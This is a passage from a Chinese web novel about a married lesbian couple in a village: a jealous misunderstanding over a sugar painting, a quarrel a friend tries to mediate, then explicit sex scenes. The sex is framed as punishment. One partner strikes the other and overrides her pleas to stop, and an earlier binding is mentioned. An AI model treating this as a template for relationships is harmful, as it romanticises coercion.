妻子一走,屋内便空荡荡的冷寂下来,她在收拾杂乱的房间时,视线不由落在那被东西遮挡住的糖画上。 想到昨日所见,心中又是一阵气血翻涌,闷闷不乐。 眼前都黑了好几次,越看这支糖画越不顺眼,最后恶从胆边生,抓起糖画便快步走出去,扔在小土坡外面的田野里。 刚好出来找好朋友玩顺便目睹一切的池厢月:? 宋渝归看见猪忽而想起宋心雨要嫁杀猪匠的事,觉得惊奇的同时继而想到自己那根糖画,还没送给媳妇儿呢,这可是她特意买的! 惜枝那么喜欢她,画了她小人的糖画应该也很喜欢吧。 她想着,兴冲冲回屋。 “对了惜枝,我昨儿给你买了糖画,现在天冷应该还没化,你吃……” 她看向自己昨天放糖画的地方,紧接着瞪大眼睛。 不是,我糖呢? 茫然的东找西找,沈惜枝小脸已然白了一层。 “哎,怎么不见了,惜枝,你拿了吗?” 家里就两个人,她下意识以为沈惜枝已经看见糖画并拿走了。 小姑娘艰难的笑了笑,轻轻摇头,“没,没看见呀,可能被老鼠偷吃了吧。” 宋渝归:…… 疑惑脸,“天气才刚暖和一点,老鼠就出来了吗?” 不敢置信! 沈惜枝强颜欢笑,“是啊,乡下老鼠特别多,它们最爱吃甜的了。” “啊……” 她又有点失落,应一声,“那好吧。” 该死的老鼠! “我明天再去镇上给你买。” 她怕沈惜枝没吃到会不高兴,看看小嘴儿都耷拉着了。 可沈惜枝抿了抿唇,却拒绝了,“我不想要糖画。” 宋渝归一愣,下意识问,“怎么了,不喜欢吃吗?” 可是上次明明还很喜欢啊,小口小口的舔,像小猫儿一样。 偏她妻子偏了偏头,语气里满是不情愿,“不喜欢了。” “哦……” 宋渝归没多想什么,不喜欢了也很正常。 她点点头,“那我下次给你带别的。” 沈惜枝听到她不曾追问这件事,心中松了口气,又听她说给她带别的,眉眼弯了弯,乖乖应了声,“好。” 她还会说要给我买吃的,应该……也不讨厌我吧。 只是不喜欢而已,不喜欢没关系的。 两人刚说完,池厢月在外面大声呼唤,“渝归,惜枝,你们在里面吗,我要进来玩!” 她这次不再是询问的语气,非常强硬,非常想加入她们! 宋渝归下意识抬眼看妻子,见她也衣着整齐,只是黏着自己,便扬声应了,“进来呗,又没有人拦着你不让进。” 池厢月利落的跳过栅栏进去了,然而……她手里却拎着一个眼熟的油纸包。 宋渝归看一眼,又看一眼。 这熟悉的感觉…… 沈惜枝没注意池厢月,她的目光一向不爱放在旁人身上。 只乖乖的依着妻子。 直到池厢月问,“你们俩吵架了吗?你欺负惜枝了?” 这句话当然是问宋渝归的。 生气的是沈惜枝,且惜枝平日里给人观感太过娇气黏人,怎么看也不像是能欺负渝归的。 宋渝归挑了挑眉,“为什么这么说。” 沈惜枝也疑惑的看过去,这缠人的什么时候这么有眼力劲儿了? 然后,她就看见了对方手里的油纸包。 小脸唰的一白,紧紧抓住妻子的手臂不放。 只见池厢月看着她们俩,语气颇为语重心长, “妻妻两个有什么矛盾就要说出来,不要憋在心里,你们吵架了跟我说说,我看看是谁的错。” 她一副要给两人当判官的样子,给宋渝归整沉默了。 不是,姐妹儿,一大早起来精神就不正常了? “你哪只眼睛看见我们吵架了?” 她用两根手指对了对自己的眼睛,“两只眼睛啊,我两只眼睛都看见了。” “你们如果没吵架,惜枝为什么要把你送她的东西扔了?” 沈惜枝浑身发凉,眼前一黑又一黑,池!厢!月! 池厢月举了举手上的东西。 那熟悉的油纸包被打开,露出里头褐色的糖画来。 与宋渝归有三分相似。 “我记得你昨天说要给惜枝买糖画?” 屋外不知何时变作了阴天,狂风呼啸,宋渝归脸色骤冷,将自己的手臂用力从沈惜枝怀里抽出来,冷脸质问,“你不是说被老鼠偷吃了吗?!沈惜枝你又骗我!” 池厢月一脸无语,“这个天哪有老鼠啊,这你都信,还有,你别那么凶,惜枝如此喜欢你,肯定是有原因的啊,是不是你惹惜枝生气了?你这么凶都吓到惜枝了。” 池厢月昨天就觉得不对,她俩虽然一向睡得早,但哪有天一黑立马就睡觉的? 肯定是出事了。 她也没想到,一大早起来打算找惜枝唠嗑,就会见到她一脸气愤扔东西的场面。 池厢月的父母也最是有事儿喜欢憋在心里的性子,直到娘亲病故都没有说出来,两人抱憾终身,所以她觉得,夫妻之间坦诚是最重要的,妻妻也一样! 有什么事儿不能说开了解决啊。 矛盾不解决只会越滚越大,她将两人当做好朋友,可不希望她们各自心里存事儿,把自己闷出病来。 然而沈惜枝半点不领情,不止不领情,她还水汪汪的瞪了池厢月一眼,池厢月不禁感叹,自古好人难做QAQ。 宋渝归很生气,脸都气红了,“昨天的事你还没有出气吗,我都跟你解释过了也哄过你了,今天又闹什么,我给你买的东西你也不要了是不是?” 沈惜枝见她凶,便不敢说话,只一双水灵鹿眼,想看她又不敢看,轻咬了咬唇瓣,十分委屈。 好像被欺负的人真是她一样。 宋渝归也不理手忙脚乱就要调解她们的池厢月,一把夺过她手里的糖人,扔到地上,冷言冷语,“你不要就不要,我以后再也不给你买东西了!” 她恶狠狠道,以后我只会给沈惜枝钱,再也不会给她带零食,给她买首饰衣服打扮她了! 沈惜枝蓦然抬首,瞪大漆黑双眸,不敢置信的望着她,似乎感觉到了她盈满屋子的怒意,似乎感觉到两人的关系正被划上裂缝,她下意识拒绝,纤纤玉指拉住女子一点衣角,神色急切,“不行!” 浓厚的水珠压在眼睫上,浓密纤长的眼睫终于承受不住,一颗颗晶莹剔透的滚落下来。 这就哭了。 宋渝归见多了她哭时的样子,此时也只是冷笑一声,“你不就是这个意思吗。” 当我以为我们已经和好了,我再多陪陪你,你会一点点安心下来,可事实却是,没有和好,你甚至可能……不知不觉间在怨恨我。 扔掉我买的东西,那下一步是什么? 毒,毒死我? 想到原著情节,宋渝归艰难咽了一把口水,拂开妻子的手,严肃道,“我再也,再也不相信你了。” 沈惜枝眼睛里不知何时出现了数道疲惫的红血丝,她心像是撕开一条小口子,凉风不停往里吹,纤细的身子摇摇欲坠,根本受不了这般严重的后果。 明明只是扔了,扔了一个被别人拒绝的礼物而已,怎么会这样? 怎么就这样了呢? 池厢月也慌了,连忙挡在宋渝归面前使眼色,示意她别那么凶,没看惜枝都哭了吗。 她没见过惜枝哭,自己也几乎不哭,所以在她眼里,一定得是很难过很难过的事,才会控制不住哭出来。 “你这么凶干嘛,有什么事你们说清楚啊,惜枝肯定不是无缘无故扔东西的,你咋不问问她原因呢,都把人吓着了。” 宋渝归冷笑,她就是想破脑袋也想不出来原因在哪,因此冷言冷语,“没有原因,她就是讨厌我,连带着也不喜欢我买的东西。” 话音刚落,池厢月身后就响起女子哽咽不成声的哭音,大声否认,“没有——不是的,我不讨厌,我怎么会讨厌你,明明是,明明是你,是你不好……” 宋渝归瞪眼睛,又成我的错了? 她不知沈惜枝心里的弯弯绕绕,不知她亲眼见到她把糖画“送给”宋心雨,只一心觉得,你他姥爷的胡说八道! 小姑娘难过的眼泪啪嗒啪嗒往下掉,鼻子也红彤彤的,池厢月一听她说,就觉得里面有误会,连忙拉着怒意难消的宋渝归让她冷静点。 宋渝归侧眸不说话,她习惯了妻子珍视喜爱她买的任何一样东西,当那些东西被当成垃圾一样丢掉的时候,她心里骤然生出被背叛,欺骗,怒意翻滚的情绪。 压都压不住。 心想,哼,什么误会,不就是气昨天我绑了她,报复我,不喜欢我了吗? 亏我昨晚还美滋滋想着我老婆真爱我。 池厢月安抚了这边,又扭头过去,努力当个和事佬,问沈惜枝,“你为何要把渝归送你的糖画扔了?昨日我和你说渝归要给你带糖画的时候你不是很高兴吗?” 虽然当时她竭力压制,但池厢月还是发现了那控制不住上翘的嘴角。 明明就是高兴的啊,怎么,怎么又要把东西扔了呢? 沈惜枝瞪了和事佬池厢月一眼,都怪她,她就是故意破坏我和妻君感情的! 池厢月被瞪了两下,也有点心虚,这还是她第一次调解旁人妻妻间的矛盾呢。 但凡事总要有第一次嘛,她以前也没有过年纪轻轻就成婚的好友啊。 呵,昨日高兴,今日就不高兴了,分明是记恨我的惩罚,可我明明也没有罚很重嘛,我还给她抹药,也没少让她舒服啊! 龟龟委屈。 “你,你们到底为何生气,说出来啊,说出来才能解决问题。” 她不解沈惜枝为何嘴硬的跟蚌壳一样,就是不肯说。 宋渝归越看她那摇摇欲坠的窝囊样越生气,猛的转身,又被池厢月眼疾手快拉住,“你去哪,惜枝还没说呢。” “她说不出口。” 再生气,沈惜枝也不至于把两人床榻间的事说出来。 池厢月一脸茫然,难道惜枝做了什么很难看的事? 她回头看沈惜枝,沈惜枝也站着,一只白玉纤长的手下意识伸出来想拉她,又在对方停下后蜷了蜷指尖,失魂落魄收回。 见她停下了,沈惜枝才咬着唇瓣,眼眸都带着狠意,恨恨道,“我为何说不出口,你做了那种事还怕我说吗!” 宋渝归不敢置信,回眸时眼珠子都要掉地上了,难道,难道她要说出来? 疯了,真是疯…… 还没想完,她听见沈惜枝怒道,“你将这糖画送与宋心雨,却被她退回来,转头又要给我,宋渝归!你将我当什么了?我便这样比不上她吗?” 池厢月:眼睛瞪得像铜铃。 这里面还有心雨的事儿啊? 听起来…… 她眼睛看向宋渝归,脑子飞速运转,不是姐妹儿,你真喜欢心雨? 我怎半分都没看出来? 茫然一层层出现在眼中。 她来村子里后是听人说过渝归曾痴恋心雨,但平日里却完全没看出来,只当是村民捕风捉影,难道真有这回事? 宋渝归气疯了,她不是被污蔑就是在被污蔑的路上,正咬着牙要问她什么时候送糖画给宋心雨了,忽而顿住,想到昨日的场面。 她艰难又不敢置信,“你,是看见我把糖递给宋心雨了?” 一般人看见这种场面不会误会,但惜枝……她是极容易想歪,敏感多思的大反派啊。 她会误会再正常不过了,小说里也有很多她通过脑补误会的剧情。 沈惜枝沉默不语,红着眼眶,倔强又委屈的看着她。 宋渝归被看得好想把后院那只猪杀了,吃吃吃,就知道吃,天天长个脑子不知道用。 她身心疲倦,“我最后再和你解释一次,我不喜欢宋姑娘,从不喜欢,昨日我和宋姑娘是偶遇,我东西掉了,忙着去捡,就让宋姑娘帮我拿一下糖画,你没看见这些东西吗?都是给你买的,里面有衣服,按着你的尺码买的,难道我讨好女子就只送一根糖画不成?你总是这样,误会我,又不听我解释,心里就认定了。” 宋渝归心如死灰,深深闭了闭眼睛。 沈惜枝却一点一点,瞠大眼眸,似乎不敢相信自己能得到这样的答案,还在呆愣间,宋渝归就把那一包袱不知道装了什么,总之沉甸甸的东西扔进她怀里。 沉声道,“回来时我还想会不会因为买的太多了被你骂,但以后再也不需要担心这个了,沈惜枝,我再给你买一样东西我就是狗!” 我最多给你钱让你自己去买,哼,我再也不会给你买任何东西了! 沈惜枝听到她决绝的话语,瞳孔微颤,眼泪像断了线一般往下掉,抖着手指打开包袱,里面用盒子装好的首饰有好几样,还有两身衣服,拿起来,确实是她的尺码。 想到可能真是自己误会了时,小姑娘已经要慌死了,又听到宋渝归最后一句话,她几乎要两腿一软晕过去。 手指紧紧抠着掌心,强烈的痛意传来,才能让她保持些清醒,最后湿红着眼眶看过去,却只吐出两个字,“不行。” 呵,不行? 你说不行就不行啊! 手长我自己身上,我就不给你买。 也不止沈惜枝会阴阳怪气,从前宋渝归心疼她,便舍不得阴阳她欺负她,但今日,是可忍孰不可忍,她脸色不对语气不对,浑身冷冷的,睨她一眼,“我可不敢再给你买东西,万一你又觉得我是买给旁人的可怎么办,谁受得了成天被人污蔑,旁人也就算了,你跟他们一起污蔑我不信我?” 他们都是外人,误会我也就误会了,可你不一样,你是我的枕边人,怎能误会我? 宋渝归一开始觉得是自己不够给人安全感,是原主缠女人缠的太光明正大了,给人留下的印象根深蒂固,可现在她觉得,沈惜枝自己也有问题啊,已经解释很多遍了,她也做到了从不与宋心雨说多余的话,只是正常来往交流,她还要因此闹。 更甚至,想到昨天那罪居然是因为她让宋心雨帮她拿了一下糖遭的,宋渝归脸都绿了。 沈惜枝生怕她说到做到,心里惶恐的厉害,急得上前几步拦住她去路,唇瓣被咬出深深地齿痕,小心承诺,“我,我以后不会再胡思乱想了。” “你上次也这么说。” 池厢月:…… 她扭身,语重心长的劝说起来,“这就是你不对了,你只是看见渝归把糖给了心雨,就问也不问的在心里认定了渝归是买给心雨的,可我早上明明和你说过渝归会给你带糖呀,你应该多信渝归一点,夫妻……妻妻之间最重要的互相信任,如果你都不信她,那别人为什么要信她?” 沈惜枝心尖一颤,是啊,若是连我都不信她…… 她心中是真有点悔了,不该那般武断,不该问都不问就自己认定的,她也不知道是怎么了,一看见妻子和宋心雨站在一起,将要被抛弃的恐惧就似乎要把她包裹住了。 “我,我不是想不信你,我只是太害怕了……” “又害怕,我每日只和你在一起,每日只对你好,你到底有什么好怕的!我真不明白,算了,池姑娘,麻烦你先出去一下。” “啊,哎?” 池厢月正听着,不知道火怎么烧她身上来了,她还准备了一大堆道理,想劝她们握手言和,结果她先被赶走了,一脸懵,回过神来便有些犹豫。 “这……不好吧,咳。” 池厢月心虚,凑近了小声说,“我听人家说你以前打媳妇儿,你不会现在就要打吧?打媳妇儿可不行啊,有什么话你们好好说,说开了就好了。” 她还在坚持当和事佬,宋渝归嘴角抽了抽,神色颇为无语,“你什么时候见我动过她一根手指头,你先回去,我和惜枝单独聊聊。” 沈惜枝盯着妻子的眸光微动,也发话了,声音嘶哑,“池姑娘,今日……多谢你,你先回去吧。” 她态度也变得很快,前面还瞪池厢月呢,眼下却又想,若非池厢月将事捅出来,她哪能知道原来真相是那样的,原来妻君没有把说好送她的送给旁人,原来在妻君心里,她还是最最重要的。 是她误解了。 池厢月狐疑地看着两人,不想走,偏两人都赶她,最后只能磨磨蹭蹭走到门口,又回头,“有话好好说,不要动手哦,我会在外面偷听的。” 宋渝归:…… “站远一点,不要偷听。” “哦。” 池厢月走了。 宋渝归便彻底冷脸,周身气势亦是冷冽,面色仍是仿佛焊在上面一般的不敢置信,“你就因为觉得我送了宋心雨糖,就把我绑了?” 其实,其实也不单单是为这个,各种情绪夹杂在一起,清楚知道自己不被爱后,草木皆兵罢了,但她不敢说,因此怯怯的望着人,小心翼翼点了点头,又道歉,“对不起,我以后再也不会胡思乱想了。” 这次是真的。 不要生气,不要那般狠的惩罚我,即使是昨天被绑了,也没有那么生气的啊,怎么…… 小姑娘泪眼盈盈,小步挪了挪,伸手攥着她的袖子。 可宋渝归这次毫不怜惜,现在连外人都信了她改邪归正,就她老婆不信! “我看你真是欠收拾!” 她如一阵疾风,两只手握住沈惜枝的胳肢窝,将人抬着扔到了床上。 总要发泄点什么,砸东西不行,我花钱买的,打人不行,我从不打老婆(床上不算),那就只能…… 屋外,池厢月终觉不安,本来都走了,又悄悄跑回去,蹲在那墙角处竖起耳朵听,暗暗想道, 听一听有没有动手我就走! 嗯?怎么有哭声? 都被打哭了?! 大惊失色!!! 第55章 小脸通黄 宋渝归将人放到床上,冷着脸去关门。 沈惜枝看她脸色不好看,心里有些怕,无助抿唇,却不敢做出任何反抗,只在她走过来时伸手去勾她的脖子,小模样委屈极了。 “妻君……我错了~别那么生气,求求你了。” 她声音一软再软,一听就带着浓重的懊悔,是真后悔了自己如此做。 但宋渝归不吃这套,冷呵一声,“你错了我便要原谅你吗,多少次了,你自己说说!” 她一边生气一边脱人衣裳,被脱衣裳的人也不反抗,还是乖乖依在她身上,甚至十分配合。 很快身上便是雪白一片了。 她还不死心,提出要求,“今日我听话,你就原谅我好不好?” 宋渝归哪有心情听她做错事之后又吧嘚吧嘚忏悔,理都不理她。 叫她躺下顺手把裤子也扒了,便眸色沉沉盯着她。 盯的人心里发毛,沈惜枝紧张的眼泪花都要出来了,小手攥紧了床单,反反复复只一句,“妻君,你别生气好不好,我以后再也不胡思乱想,再也不误会你与宋姑娘了。” “呵,你的脑子跟新的一样,我懒得跟你说话,不许说话!” 本来就心烦,听见她的声音便更烦了。 还一直哭哭啼啼求原谅,这事儿若是她直接说了,我便会立即与她解释,哪还能闹出这么多事来? 宋渝归一面想,一面在人腿上拍了拍,软绵绵的肉立刻发出清脆的声音。 示意她张大点。 沈惜枝也听话,大抵知道自己将要面对什么,可她本就是她的妻子,被这样对待并不觉得委屈。 反而,隐隐有些欢欣期待。 或许,或许妻子喜欢上这样了呢,或许,被尝过之后,她就能渐渐消气了呢? 只要她还有一点喜欢我,就好了,不多要的,一点就好了。 沈惜枝咬着唇,委委屈屈想。 “妻,妻君……唔!” 她见妻子迟迟不动,忐忑不安的唤了一声,谁知,妻子竟打了她一下! 那猝不及防的一下,让沈惜枝闷哼一声,眼里瞬间泛出许多小水花儿,几乎要委屈成一团了。 “妻君……” 妻君好凶,还打人QAQ。 宋渝归捂了捂脸,压着声音,“不许叫我。” 她很少这般凶过,沈惜枝缩了一下脖子,心里更委屈的想,还那么生气啊。 呜呜呜呜。 她真的知错了,不要,不要生气,以后见到那般情况,她再也不会胡言了QAQ 但沈惜枝没有委屈很久,便抖着纤腰,伸手去拉妻子的指尖,将身心都奉献于她。 宋渝归冷冷瞥她一脸讨好的模样,越看越气,现在知道讨好了,早干嘛去了? 她不理,并挣脱掉了那只小心翼翼搭上来的手,起身寻了好多件旧衣服,垫在人屁股下面。 沈惜枝也知道为什么要垫衣服,小脸羞红,低头看了一眼灰扑扑的旧衣服,心想,还好没扔。 不生气时只在外头折腾折腾人便也是了,一生起气来,有的地方非得进去欺负欺负不可。 “呜……” 痒意让沈惜枝不住发出无奈的颤抖来,眼里的水花也再抑制不住,一串一串往下掉。 宋渝归看见她哭的隐忍可怜,忽而又生气了,不轻不重打了她一下,警告,“再敢有事情自己憋着不告诉我,你就死定了沈惜枝,你死定了!” 沈惜枝猛然被打,身子都蜷缩成一团,像个雪白软嫩的糯米团子。 屋外不知何时下起了绵密细雨,春雨是最最寒凉的,连小鸡也有点受不住,往鸡窝里跑,她们从昨日到今日,忙活那么久,鸡没有饭吃,外头的白菜已遭殃的不成样子。 小姑娘水润润的漂亮眼睛看向她,哽着声音,艰难祈求,“别,别打好不好?” 怎么样都好,但是别打,太,太恐怖了,就算动手实际很轻……也不行的。 沈惜枝红着眼眶想,她要死在这了。 “这不是你说了算的,以后,都我说了算。” 她故意表现的十分冷淡,给人下了最后通牒,也不再温温吞吞的只将手指塞进去乱动,虽然那样也能叫沈惜枝露出平日里见不到的神色,但显然不够。 屋里呜呜咽咽的哭声这才真正响起来,并许久未曾停歇。 池厢月怕惜枝被打,走没多少会儿又悄摸跑回来,躲在墙角偷听,结果没听见打人的动静,倒听见有人哭了。 她皱了皱眉,我刚走渝归就打人了? 现在已经打完了? 禽兽不如!!! 手指都落在门框上打算推门而进了,却忽而听见…… 京城来的单纯小姐紧张的过来,小脸通黄的回去,全程缩着脖子,脸都不敢抬一下,冒雨跑了。 沈惜枝娇娇躺在床榻上,中间横着一条被子,想到方才发生的事……眸色水润害羞。 妻子果然极会疼人。 午时几乎都过了,两人早饭没吃午饭没吃,肚子叫个不停。 宋渝归终于扶着肚子站起来,擦了擦嘴。 心想,喝饱了都,但是不吃午饭也不行,而且就我一个人喝到了,沈惜枝估计还饿着呢,哼,她老是不吃饭,早晚得胃病! 对身体很重视的龟龟如是想。 因此她往床上大喇喇一坐,就跟沈惜枝说,“我要吃把子肉。” 沈惜枝正闭着眼睛平息身体不自控的反应,还换了个位置避开shi透的地方,听见这句话,顿时不敢置信的又睁开眼睛,控诉着向她望去。 我这样,还要做饭吗?真的要做饭吗! 宋渝归没说话,安静的看着她,意思很明显,要。 片刻,沈惜枝拖着两条面条似的腿站起来了。 心里委屈的想,妻君坏。 宋渝归哼哼两声,跟在她后面一起去挑肉,她昨天拉了许多肉回来,堆在另一间放杂物的小房间里,用布盖着。 沈惜枝看见肉便是一愣,声音沙哑却依旧好听,疑惑不解,“怎么剩了这么多。” 看见这肉就想到自己昨日兴冲冲收摊回家,想见她,想哄她,给她买了许多东西,结果却被酱酱酿酿了。 简直离谱。 “呵。” 她只管冷笑,沈惜枝就好像明白什么了,眼眸渐渐温软,伸出小手抱住妻子的手臂,“我给你做把子肉,你之前说还要虎皮鸡蛋是吗,怎么做,你教教我。” 她也不知妻子从哪学来的这些做菜法子,各种各样的都有,但做出来真的很好吃! 说到吃的,宋渝归脸上冷意褪去些许下, “你一会儿把鸡蛋煮了,然后剥壳放在油里滚一下,最好在蛋白划两下,听说会比较入味。” 都是听说,从未实操过,也不晓得能不能做出来。 算了,能做最好了,不能拉倒。 离开现代,她最想念的除了父母,就是现代的饭了。 想到父母,宋渝归默默叹气,情绪低落。 沈惜枝一颗心提着,生怕她还在生气,暗暗下定决心,无论如何也要把这顿饭做好,吃的高兴了,妻君许会消气一点。 沈惜枝拖着酸软的腰肢与腿,艰难在灶台前做饭。 宋渝归就在旁边指挥着,帮忙烧火,放任对方因为没有力气而靠在她怀里。 倒是想躲,但是她躲了,沈惜枝无处依靠,难免会站不稳,可能要摔倒。 察觉自己竟然还关心她,宋渝归脸色一僵,紧接着,整张脸便黑了下来。 沈惜枝余光瞥见,心里七上八下的,抿着唇瓣,倏而攀着她的肩膀,踮起脚尖,用气音和她说话。 “妻君……我,我好像有点不舒服。” 宋渝归:? “哪里不舒服?” 她眼神单纯且不解,沈惜枝有些恼她笨,不解风情,两人才刚刚那般完,能是哪里不舒服,非要自己说的清楚明白,因此娇娇的推了她一下,用眼尾斜她,见她露出恍然大悟的神情后, 低头佯装苦恼,“怎么办呀妻君。” 妻君不知道怎么办,妻君一整个裂开了,怎么也没想到沈惜枝说的会是这件事。 不是说古代人含蓄内敛爱羞吗? 以前确实是这样,但究竟是什么让妻子转变的如此之快。 震惊的眼睛都瞪大了,抖着手似乎不知道说什么。 怀里人见她凶巴巴的样子褪去,心里满意几分,唇角勾起轻缓的笑容,在她怀里扭了扭腰,撒娇一般,“真的,你帮我想想办法好不好?” 听听这说的什么话,你的身子,我要如何帮你想办法,我又不是大夫! 自从昨日与今日两遭后,沈惜枝仿佛对妻子完全放开了,握着她的手腕默默移动。 “呃” 小姑娘没忍住抬着脖子小声哼,又倒在她怀里。 宋渝归默默将手抽出来,耳朵不知不觉红彤彤的,还真是……真是。 估摸等会儿就得换条裤子,不然……到底是不好看。 沈惜枝见她好似很镇定的样子,也不说话,眼眸眯了眯,又贴在她胸口状似无助一般,软软问她,“怎么办呀,我今日都见不了人了。” 宋渝归:…… 不是,你啥都问我干嘛,你不舒服能是我的问题吗?! 那明明…… 好吧,也有我一部分原因。 见妻子依赖娇软的看着她,宋渝归咬了咬腮帮子,“我先去熄个火。” 不然要焦了。 “哦。” 她仍是不为所动的样子,沈惜枝失落垂眸,默默回身将收好汁的把子肉盛出来,又额外炒了一道小青菜解腻。 两道菜火候把握的都不错,宋渝归灭完火站起来一看,香的眼睛都直了。 两人坐下吃饭,她也没有说话,沈惜枝以为妻子是不想管她,纤长眼睫轻轻覆住眼底情绪,安静的吃着白米饭,只是也食不知味。 有点难过…… 怎么能不管我呢,都说了不舒服了。 饭后,她捧着妻子昨日给她买的一包袱东西,坐在床边悄悄看起来,还有那支糖画,她也偷偷捡起来了,几次掉在地上,沾了灰尘,已经不能吃了,但是她舍不得扔。 越看糖画越厌恶自己的愚笨,怎么会误会呢,怎么会想不到宋姑娘只是帮忙拿一下呢。 明明就知道……妻子自那日醒来后,对宋姑娘便不大热情了。 沈惜枝失神的抱着一堆东西,想起妻子发誓说再给她买东西就是狗的话,心尖一阵刺痛。 拥有时便一直觉得甜蜜的东西,有朝一日失去了更难割舍。 心痛到不行。 宋渝归从外面收了一条裤子进来,一进来就见沈惜枝抱着她买的东西哭,下意识便想阴阳两句,又怕阴阳完后这人哭的一发不可收拾,可别把她给淹了。 忍了忍,忍住了。 她要忍常人所不能忍,日后必成大器,哼! 一脚把门带上,宋渝归拎着裤子扔沈惜枝怀里,冷脸,“换吧。” 哦,原来没有不管我呀。 沈惜枝心情好了一点,隔着长裙一点一点脱裤子,裙摆晃动间,依稀可见雪白的屁股肉。 宋渝归:好热啊,不是才刚春天吗,怎么这么热!古代也没个天气预报,真烦人。 见她脱完就要将干净里裤套上去,宋渝归又皱了皱眉,赶忙阻止。 “你……不擦一擦吗?” 洗澡可以等晚上再洗,可最好先擦一擦,不然多不舒服呀。 沈惜枝一愣,但也很快反应过来了,忙偏过头去,脸色艳如晚霞,小声说,“你没有给我拿布呀。” “左右那条都脏了,就用它擦擦呗。” 反正也要洗,用别的擦还多洗一块布呢。 沈惜枝扭扭捏捏,握着干净裤子,好一会儿才羞怯道,“那,那你帮我擦一下吧,求你了,妻君~” 女子声音软绵绵,要将人叫的心都化了。 宋渝归早已习惯她如此说话,却发现……还是不能免疫。 冷着脸捡起那条湿了半边屁股的里裤。 …… 脸红了一圈又一圈,等擦完出来,已经跟被水蒸过一般了。 沈惜枝亦是,她能感觉到,妻子在擦的时候偷偷摸了她一下,很轻很轻的,好可爱。 “咳,对了,你……要不把这个塞进去堵一堵吧,不然老是换裤子的话也不方便。” 面前忽而被递来一团干净的棉布,瞧着是簇新簇新的,沈惜枝一愣,呆呆抬头。 让我,让我把这个塞进去吗? 小姑娘羞的瞪大眼睛。 宋渝归还佯装不耐烦,“你快呀,不然,不然等会儿床单又湿了,晚上怎么睡啊。” 她以往对反派的认知是,乖巧,懂事,经过昨日与今日两日后,变成了,水有点多,水很多,水超多。 沈惜枝终于红着小脸低头从她手心拿过棉布,但过了一会儿,又极不好意思的扔回去,“你,你来,我不会弄……” 她很少触碰这里,每次洗澡也只是草草清洗一下,哪有脸,哪有脸做这种事啊,她做不了,手指都抬不起来了。 纤细瘦弱的身子坐在床榻上委屈着一双眼睛,分外无助。 怎么什么都要我来,她不能自己独立一下吗? 我也害羞啊! 到底有没有人来关心一下害羞的我! 好吧,没有。 一口气憋的腮帮子鼓起来又瘪下去,宋渝归还是妥协了,怕她看不见,不会塞,塞不进去或者塞错了,那就不好了。 拍了拍那嫩黄裙摆下,精致小巧,雪嫩的纤纤玉足,“趴着。” “哦。” 听她愿意帮忙,沈惜枝面上一喜,乖乖趴下,圆润挺翘的小屁股高高撅起,被宋渝归随手拍了两下。 “唔” 小姑娘娇娇的闷哼一声,回过头来,有些怯生生,温声道,“你不要欺负我了,还没到晚上呢。” 这时候又在意起白天晚上来了,可她们哪次胡闹是在晚上? 呵!!! 宋渝归没说话,沈惜枝以为她又生气了,连忙又说,“等到了晚上,你想怎么样都可以,我都听你的。” “张开一点。” 她表现的冷酷无情。 沈惜枝委屈的哦了一句,默默将跪着的腿分开了。 裙子撩到腰上,露出两个巴掌印来。 但估摸着过一会儿就能消掉了。 问题不大。 借着纸糊的窗子透进光来,宋渝归伸出两根手指寻了寻位置。 沈惜枝鼓着腮帮子忍耐,玉雪漂亮的脸上,小表情可爱极了。 宋渝归倒还算冷静,找准位置后干脆将东西一放,玩事儿。 徒留沈惜枝红着小脸,将被子拉的盖过头顶,一副顾头不顾腚的模样。 无论何种情况下,妻君亲近我,我总是很高兴的。 今天天气不是很好,天一直是阴的,走出去还有些凉意逼人,雨刚停,地上的土壤有些湿润。 昨日的肉没卖完,她今日又没有去镇上,再放就真的不太行了,趁着家家户户还没开始做晚饭。 宋渝归先去给李大娘家送了两斤肉。 李大娘正洗完衣服回来,见着她便打招呼,笑意盈盈,“渝归啊,这两天怎么没看见你和惜枝呢?” 宋渝归:…… 真不好意思,在家里干一点见不得人的事。 “这两天我们没怎么出门,这不,今天镇上也没去,昨天卖的猪肉还剩一下,就想给大娘送一点过来。” “哎呀,这怎么好意思,肉精贵,哪能回回都送,我花钱到你这里买吧,总不能老是占小姑娘便宜。” 虽然李大娘平时也舍不得买肉,但隔壁邻居总送他们家肉,她哪好意思一直白拿啊。 今天狠狠心就要花钱买。 宋渝归拒绝的也很快,模样看起来笑盈盈的,“不用了大娘,平日里多亏您帮忙照顾惜枝,哪里敢要您的钱,而且都是昨天的肉了,也没那么新鲜,您就拿着吧。” 宋渝归好说歹说塞进去了。 想到今日莽撞跑进来想调解她们矛盾的好心人女主,她又从好位置取了几斤猪腿肉,送到隔壁,然而池厢月不知发什么疯,见到她就脸红,然后扭头跑了,留下一头雾水的她。 幸好池先生在家,接受了宋渝归送来的肉。 她回家拎起背篓时还有些摸不着头脑,女主咋了,调解没成功伤自尊了? 沈惜枝一直待床上,只能说幸好有妻子给她塞的东西,否则…… 今晚只能睡稻草了。 等她身上的酥软褪去,起身到院子里时,妻子已经不在了。 她垂眸有些失落,拿起帚子一边打扫,一边不满,去了哪里啊,都不等我…… 等沈惜枝将碗洗了,里里外外也打扫完了,喂完鸡又掰了一颗水灵灵的小白菜,宋渝归才背着一背篓又拎着一背篓猪草回来。 她一个人去,割两篓就差不多了。 沈惜枝听见动静急忙从堂前出来,声音甜的发腻,“妻君~” 宋渝归:…… 里面的讨好意味实在太过明显。 宋渝归自然发现了。 真奇怪,她越讨好我越不想理她,难道这就是得了便宜还卖乖? 不是,怎么又被她哄住了,呵,错的明明就是她,我为什么要因为一点好就继续像以前一样待她! 宋渝归这次异常坚定,就算沈惜枝言语软软,模样软软,也没有动摇。 又去给几家临近的村民送了肉,将肉送的七七八八了,最后剩了一点让沈惜枝制成腊肉挂着。 沈惜枝因她态度而十分失落,一直低着头跟在她身边,只是走两步总要停一步,纤长如玉的手指轻轻捂住肚子,额角不知何时出了一层细密冷汗,眼神却还透着光亮,又凑过去,“妻君,晚上吃什么?” “随便。” “哦,那我给妻君做糖醋排骨好不好?” 她记得妻子爱吃这个,做过一回后她记了好几天。 “行。” “妻君不是想吃腐皮包肉吗,我明日去镇上买些腐皮回来。” 腐皮既煮豆浆时最上面凝固的一层,薄薄的,用手或者竹竿小心的从锅里弄出来,放一边晾干就是了。 制作不难,因此古代也有。 听见吃的,宋渝归脸色终于好看了点,微微点头,嘴角也忍不住勾起上扬的弧度,沈惜枝看着欢喜,乖乖伴在她左右。 晚上是香浓酸甜的排骨,配一盘五花肉炒大白菜,池厢月在隔壁,早便闻到邻居家传出的香味了,捧着碗好想去蹭饭,但是想到今日发生的事又有点不好意思去。 